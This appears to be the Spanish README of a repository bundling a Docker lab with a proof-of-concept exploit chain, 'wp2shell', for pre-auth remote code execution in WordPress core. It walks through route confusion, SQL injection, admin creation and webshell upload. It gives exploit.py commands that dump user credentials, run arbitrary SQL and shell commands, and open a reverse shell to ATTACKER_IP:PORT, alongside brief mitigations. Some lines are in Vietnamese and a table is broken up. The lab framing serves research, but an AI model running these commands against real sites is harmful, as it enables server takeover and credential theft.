
WordPress Core RCE Pre-Auth — Confusión de rutas + inyección SQL encadenadas para ejecución remota de código
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| Alias | wp2shell |
| Tipo de vulnerabilidad | Confusión de rutas en REST API → Inyección SQL → RCE |
| Gravedad | Crítica — CVSS 10.0 |
| Afecta a | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| Corregido en | WordPress 6.8.6, 6.9.5, 7.0.2 |
| Autenticación requerida | Ninguna (Pre-Auth) |
wp2shell es el nombre de la cadena de explotación que combina 2 vulnerabilidades en el núcleo de WordPress:
/wp-json/batch/v1) tiene un desajuste de índices entre los arrays $matches[] y $validation[] cuando un sub-request tiene una ruta no válida, lo que hace que el siguiente sub-request se ejecute con un handler incorrecto → se omite la validación de esquema de la REST API.WP_Query::get_posts() no sanitiza el parámetro author__not_in cuando recibe un string en lugar de un array → inyección SQL en bruto.Ambos bugs combinados forman una cadena Pre-Auth RCE completa — desde 0 credenciales hasta una shell en el servidor, únicamente mediante peticiones HTTP.
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
Lee el análisis técnico completo en REPORT.md
El laboratorio utiliza Docker Compose con 3 contenedores:
setup.sh)cd wp2shell-lab
bash setup.sh
El script automáticamente:
Al finalizar, mostrará "WP2Shell Lab — READY!" junto con las credenciales de acceso.
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
El script PoC fue reescrito desde cero, tomando como referencia Icex0/wp2shell-poc. Usa únicamente la stdlib de Python 3, sin necesidad de instalar dependencias adicionales.
| Condición | Requisito |
|---|---|
| Versión de WordPress | 6.9.0–6.9.4 o 7.0.0–7.0.1 |
| Endpoint batch de la REST API | Accesible (activado por defecto) |
| Autenticación | No necesaria |
| Red | El atacante puede alcanzar WordPress |
add_filter('rest_batch_disabled', '__return_true'); en functions.php./wp-json/batch/v1 que contengan palabras clave SQL.Este repositorio se creó con fines de investigación, aprendizaje y CTF en un entorno de laboratorio controlado. No lo utilices para atacar sistemas reales. Cualquier explotación no autorizada es una violación de la ley.
| Contenedor |
|---|
| Imagen |
|---|
| Puerto |
|---|
| WordPress (vulnerable) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | interno |
| phpMyAdmin | phpmyadmin:latest | 8081 |